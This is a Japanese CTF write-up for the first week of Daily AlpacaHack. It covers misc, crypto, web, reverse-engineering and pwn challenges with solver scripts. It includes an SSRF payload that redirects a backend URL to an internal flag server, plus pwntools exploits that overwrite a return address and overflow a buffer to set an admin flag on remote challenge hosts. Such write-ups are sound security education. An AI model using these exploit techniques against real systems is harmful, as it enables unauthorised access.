Daily AlpacaHack Week1 (2025-12-1 ~)
Daily AlpacaHack の Writeup.
(2025/12/1 - 2025/12/7)
後から解いたものなど含むまとめ.
AlpacaHack 2100 (2025/12/1, Misc)
- フラグは 2100 年の 1 月にあるらしい
- Daily AlpacaHack のページのカレンダーを動かしてみると,
monthパラメータで年月を指定していることが分かる - 以下のリンクでアクセスしてみるとフラグが獲得できた
https://alpacahack.com/daily?month=2100-01
a fact of CTF (2025/12/2, Crypto)
- 暗号を生成するプログラムが配布される
- フラグの n 文字目 (x とする) について, 素数を小さいほうから並べた際の n 番目の数字 (p とする) について $p^n$ を計算し,
すべての $p^n$ を掛けたものを出力するプログラムとなっていた - 各文字で基底として用いられているのはそれぞれ異なる素数であるため互いに素であり, 結果出力を素因数分解することで $p^n$ の積に分解できる
- python で解読コードを書いてフラグ獲得
primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293] with open("output.txt", "r") as f: ciph = int(f.read(), 16) flag = "" for i in range(len(primes)): tmp_int = 0 tmp_ciph = ciph while True: if tmp_ciph % primes[i] == 0: tmp_ciph = tmp_ciph // primes[i] tmp_int += 1 else: break if tmp_int > 0: flag += chr(tmp_int) print(flag)
Emojify (2025/12/3, Web)
- 渡されたコードを読むとバックエンドとフロントエンド, フラグ配布用のサーバーの 3 つのインスタンスが作成されることが分かる
- フラグ配布用のサーバーはそのままアクセスすることはできない
- フロントエンドサーバーではバックエンドサーバーにリクエストを送り絵文字を取得していたため, このリクエストを書き換えてフラグ配布サーバーに送ってあげることで SSRF が可能だと考えられる
- リクエスト用の URL は以下のコードで生成される
new URL(path, "http://backend:3000");
URL関数は "//" から始まるパスを渡すとプロトコルの後を書き換えることが可能- リクエストのパラメータを以下に書き換えるとフラグ獲得
//secret:1337/flag?emoji
- JavaScript での実験用コード
console.log(new URL("//secret:1337/flag?emoji", "http://backend:3000))
Leaked Flag Checker (2025/12/4, Rev)
- フラグの各文字に対して 7 との XOR をとり, 保存されている暗号化されたフラグと比較する
- GDB を用いて暗号化されたフラグを抜き出し, Python で解読コードを書いてフラグ獲得
flag_bytes_raw = "0x66776b46 0x6b7c6664 0x7e6c6472 0x0000007a" flag = "" for tmp_hex in flag_bytes_raw.split(): for i in range(4,0,-1): tmp_int = int(tmp_hex[(i)*2:(i+1)*2], 16) if tmp_int == 0: break flag += chr(tmp_int ^ 7) print(flag)
Integer Writer (2025/12/5, Pwn)
- バイナリが渡される
checksecを用いてセキュリティ機構をチェックすると Partial RELRO, Canary Found, No PIEwin関数が存在- リターンアドレスの書き換えを行いたいが, canary があるため BOF は難しそう
- インデックス (
pos) を指定して値の代入が可能であるため main 関数のリターンアドレスの書き換えを試みるが, インデックスの大きさに上限が設定されているため不可 - どうしてもわからず公式 Writeup を読んだところ, リターンアドレスを書き換える対象は
scanf関数らしい (公式 Writeup) scanf関数で入力を受け取る際に書き込み先をscanfのリターンアドレスに対応する場所に設定すればmain -> scanf -> winという流れのプロセスを実現できそうobjdumpでダンプファイルを調べると main 関数のはじめにsub rsp,0x1b0とスタックが確保されており,posの位置がrbp-0x1a4となっているposは -1 のところにあると考えられ, 0x1b0 - 0x1a4 = 12 (int は 4 バイトのため -3), よって main 関数のスタックの端は pos = -4 の地点であることが推測される- リターンアドレスはその上の 8 バイトで書き込まれるためインデックスからさらに 2 を引いて, pos = -6 の地点が
scanfのリターンアドレスに対応すると考えられる - 上記推測に基づきコードを書いてフラグ獲得
from pwn import * elf = ELF("./chal") context.binary = elf win_addr = elf.symbols["win"] is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 51272".split() sh = remote(host, port) else: sh = process() prompt = sh.recvuntil("pos >".encode()) print(prompt.decode()) payload = str(-0x6).encode() sh.sendline(payload) # set address print("payload:", payload.decode()) prompt = sh.recvuntil("val >".encode()) print(prompt.decode()) payload = str(win_addr).encode() sh.sendline(payload) sh.interactive()
- 途中 gdb で何度もデバッグして上記推論に到達したため, 普通に解きたいときはブルートフォースとかの方が効率的っぽい
simpleoverflow (2025/12/6, Pwn)
- 渡されたプログラムファイルを読むと, ログイン時に
is_adminという変数をいじることができればフラグが獲得できるが,is_adminを直接操作するインターフェースは用意されていないという状態になっていた checksecで確認すると Partial RELRO, No Canary, No PIE であり, また大きさ 10 の配列bufに対しread(0, buf, 0x10);と 0x10 (16) 文字分の読み込みを許しているため, BOF が可能- pwntools で BOF を書いてフラグ獲得
from pwn import * is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 42137".split() sh = remote(host, port) else: sh = process("./chall") prompt = sh.recvuntil("name:".encode()) print(prompt.decode()) payload = "a".encode() * 10 # padding payload += p32(1) # set admin sh.sendline(payload) sh.interactive()
size limit (2025/12/7, Crypto)
- RSA 暗号の出力, N, 暗号鍵, 復号鍵がすべて与えられている
- 暗号に対して復号鍵で累乗すれば解読できるが, フラグが大きすぎるからか出力がそのままフラグにはならなかった
- 本物のフラグは出力に N を整数倍したものを足したものになるため, 先頭がフラグ文字列になるものが見つかるまでループ処理を行いフラグ獲得
from Crypto.Util.number import long_to_bytes with open("output.txt", "r") as f: N, e, c, d = [int(x.split()[-1]) for x in f.readlines()] deced = pow(c, d, N) for i in range(100000000000): deced += N x = long_to_bytes(deced) if b"TSGLIVE" in x: print(x) break